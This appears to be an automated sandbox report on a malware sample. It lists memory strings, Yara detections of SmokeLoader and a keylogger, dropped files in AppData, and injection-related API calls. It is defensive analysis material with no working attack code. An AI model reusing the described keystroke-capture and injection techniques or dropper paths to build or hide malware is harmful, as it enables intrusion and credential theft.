Source: explorer.exe, 0000000C.00000000.2082917976.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 0000000C.00000000.2082917976.00000000096DF000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 0000000C.00000000.2080043693.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 0000000C.00000000.2080043693.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: OpenWith.exe, 00000002.00000003.1863903578.000002427DD32000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discord.com
Source: OpenWith.exe, 00000002.00000003.1863903578.000002427DD32000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discordapp.com
Source: OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 0000000C.00000000.2086005701.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://excel.office.com
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 0000000C.00000000.2080043693.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: explorer.exe, 0000000C.00000000.2086005701.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.com_
Source: explorer.exe, 0000000C.00000000.2086005701.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: OpenWith.exe, 00000002.00000003.1977656573.000002427DB6A000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1964025211.000002427DB6A000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000002.2030749161.000002427DB6B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-21
Source: OpenWith.exe, 00000002.00000003.1861364952.000002427DAC0000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855904942.000002427DDFE000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1880112229.000002427DD98000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1864146303.000002427DB62000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1879922063.000002427DD94000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: OpenWith.exe, 00000002.00000003.1856393551.000002427DD3C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: OpenWith.exe, 00000002.00000003.1861364952.000002427DAC0000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855904942.000002427DDFE000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1880112229.000002427DD98000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000002.2030749161.000002427DB6B000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1864146303.000002427DB62000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1879922063.000002427DD94000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: OpenWith.exe, 00000002.00000003.1856393551.000002427DD3C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: OpenWith.exe, 00000002.00000003.1857668872.000002427DA83000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17N-SiX4Yyn3iFo5fv-Rsj0cGE-FFrP
Source: OpenWith.exe, 00000002.00000003.1879722853.000002427DACA000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000002.2030392047.000002427DACB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1856557665.000002427DACD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1964129918.000002427DACA000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1858602829.000002427DACD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1863049980.000002427DAC0000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1861364952.000002427DAC0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Q
Source: OpenWith.exe, 00000002.00000003.1855966331.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17t.mc_id=EnterPK201694ba2e0b-6
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000000C.00000000.2086005701.000000000C557000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 0000000C.00000000.2086005701.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://word.office.com
Source: OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: OpenWith.exe, 00000002.00000003.1855040847.000002427DD43000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 0000000C.00000000.2080043693.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 0000000C.00000000.2080043693.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Yara detected SmokeLoader
Source: Yara match File source: 13.0.utihrjr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.utihrjr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.AppLaunch.exe.18e5fb3d090.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.AppLaunch.exe.18e5fb2d070.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.AppLaunch.exe.18e5fb34b00.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.0.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.2100590634.0000000001FB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2100122756.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2336287336.0000000001FA1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2334298742.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Roaming\utihrjr, type: DROPPED
Creates a DirectInput object (often for capturing keystrokes)
Source: e7CLP6462y.exe, 00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: DirectInput8Create memstr_86419ece-0
Installs a raw input device (often for capturing keystrokes)
Source: e7CLP6462y.exe, 00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: GetRawInputData memstr_61726c4b-b
Yara detected Keylogger Generic
Source: Yara match File source: 31.3.dialer.exe.4ee0000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 31.3.dialer.exe.4ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 31.3.dialer.exe.5100000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.e7CLP6462y.exe.3d30000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.e7CLP6462y.exe.3b10000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.dialer.exe.51c0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.dialer.exe.53e0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 31.3.dialer.exe.4ee0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.3.B677.exe.3b00000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001F.00000003.2387945281.0000000005100000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000003.2347834429.0000000003B00000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1720184364.00000000053E0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1720019053.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2387276709.0000000004EE0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1717061300.0000000003D30000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: e7CLP6462y.exe PID: 6952, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: dialer.exe PID: 7144, type: MEMORYSTR

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 0000000B.00000002.2100590634.0000000001FB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000B.00000002.2100122756.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000D.00000002.2336287336.0000000001FA1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000D.00000002.2334298742.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Contains functionality to call native functions
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_000002427BCD30C7 RtlAllocateHeap,RtlAllocateHeap,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,RtlDeleteBoundaryDescriptor,RtlDeleteBoundaryDescriptor, 2_3_000002427BCD30C7
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EEA600 NtAcceptConnectPort, 2_3_00007DF486EEA600
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EEA540 NtAcceptConnectPort, 2_3_00007DF486EEA540
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EE92CC NtAcceptConnectPort,_calloc_dbg,DuplicateHandle,NtAcceptConnectPort,??3@YAXPEAX@Z,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort,NtAcceptConnectPort, 2_3_00007DF486EE92CC
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EEA2B0 NtAcceptConnectPort, 2_3_00007DF486EEA2B0
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EEB154 NtAcceptConnectPort,NtAcceptConnectPort, 2_3_00007DF486EEB154
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EEB088 NtAcceptConnectPort,NtAcceptConnectPort, 2_3_00007DF486EEB088
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EE8D94 NtAcceptConnectPort, 2_3_00007DF486EE8D94
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EE8D74 NtAcceptConnectPort, 2_3_00007DF486EE8D74
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EE9F40 NtAcceptConnectPort, 2_3_00007DF486EE9F40
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EE8C08 NtAcceptConnectPort, 2_3_00007DF486EE8C08
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EE9CA0 NtAcceptConnectPort, 2_3_00007DF486EE9CA0
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EE8C90 NtAcceptConnectPort, 2_3_00007DF486EE8C90
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EE8A40 NtAcceptConnectPort, 2_3_00007DF486EE8A40
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EE8AFC NtAcceptConnectPort, 2_3_00007DF486EE8AFC
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EE9AF4 _malloc_dbg,NtAcceptConnectPort,NtAcceptConnectPort,??3@YAXPEAX@Z, 2_3_00007DF486EE9AF4
Source: C:\Windows\System32\OpenWith.exe Code function: 2_2_000002427BB715AC NtAcceptConnectPort, 2_2_000002427BB715AC
Source: C:\Windows\System32\OpenWith.exe Code function: 2_2_000002427BB71CD0 RtlAllocateHeap,NtAcceptConnectPort,FindCloseChangeNotification, 2_2_000002427BB71CD0
Source: C:\Windows\System32\OpenWith.exe Code function: 2_2_000002427BB71A90 NtAcceptConnectPort,NtAcceptConnectPort,RtlAddVectoredExceptionHandler, 2_2_000002427BB71A90
Source: C:\Windows\System32\OpenWith.exe Code function: 2_2_000002427BB70AC8 NtAcceptConnectPort,NtAcceptConnectPort, 2_2_000002427BB70AC8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 6_2_0000018E5D852868 NtAcceptConnectPort, 6_2_0000018E5D852868
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_00401668 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 11_2_00401668
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_00401561 NtAllocateVirtualMemory, 11_2_00401561
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_0040156C NtAllocateVirtualMemory, 11_2_0040156C
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_00401673 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 11_2_00401673
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_0040157E NtAllocateVirtualMemory, 11_2_0040157E
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_00401599 NtAllocateVirtualMemory, 11_2_00401599
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_0040169C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 11_2_0040169C
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_0040159F NtAllocateVirtualMemory, 11_2_0040159F
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_004016A1 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 11_2_004016A1
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_004016AA NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 11_2_004016AA
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_004015AB NtAllocateVirtualMemory, 11_2_004015AB
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_00401668 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 13_2_00401668
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_00401561 NtAllocateVirtualMemory, 13_2_00401561
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_0040156C NtAllocateVirtualMemory, 13_2_0040156C
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_00401673 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 13_2_00401673
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_0040157E NtAllocateVirtualMemory, 13_2_0040157E
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_004025C5 NtEnumerateKey, 13_2_004025C5
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_00401599 NtAllocateVirtualMemory, 13_2_00401599
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_0040169C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 13_2_0040169C
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_0040159F NtAllocateVirtualMemory, 13_2_0040159F
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_004016A1 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 13_2_004016A1
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_004016AA NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 13_2_004016AA
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_004015AB NtAllocateVirtualMemory, 13_2_004015AB
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_00300607 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers, 15_2_00300607
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF4B92 RtlMoveMemory,NtUnmapViewOfSection, 17_2_00BF4B92
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF33C3 NtQueryInformationFile, 17_2_00BF33C3
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF349B CreateFileW,OpenProcess,NtQueryInformationProcess,NtQueryInformationProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,lstrcmpiW,NtQueryObject,StrRChrW,StrRChrW,lstrcmpiW,GetFileSize,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,CloseHandle,CloseHandle,CloseHandle, 17_2_00BF349B
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF342B NtQueryObject,NtQueryObject,RtlMoveMemory, 17_2_00BF342B
Source: C:\Windows\explorer.exe Code function: 20_2_009E38B0 NtUnmapViewOfSection, 20_2_009E38B0
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00ED0607 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers, 21_2_00ED0607
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_004D1016 RtlMoveMemory,NtUnmapViewOfSection, 22_2_004D1016
Detected potential crypto function
Source: C:\Users\user\Desktop\e7CLP6462y.exe Code function: 0_2_0040154C 0_2_0040154C
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_000002427BCD5E7C 2_3_000002427BCD5E7C
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_000002427BCD557C 2_3_000002427BCD557C
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_000002427BCD58FC 2_3_000002427BCD58FC
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_000002427BCD24F7 2_3_000002427BCD24F7
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_000002427BCD279C 2_3_000002427BCD279C
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_000002427BCD1BA6 2_3_000002427BCD1BA6
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_000002427BCD2C3C 2_3_000002427BCD2C3C
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_000002427BCD4A38 2_3_000002427BCD4A38
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EF7318 2_3_00007DF486EF7318
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486ED5BD8 2_3_00007DF486ED5BD8
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F5B68C 2_3_00007DF486F5B68C
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486FB46F8 2_3_00007DF486FB46F8
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486FA8750 2_3_00007DF486FA8750
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EDD688 2_3_00007DF486EDD688
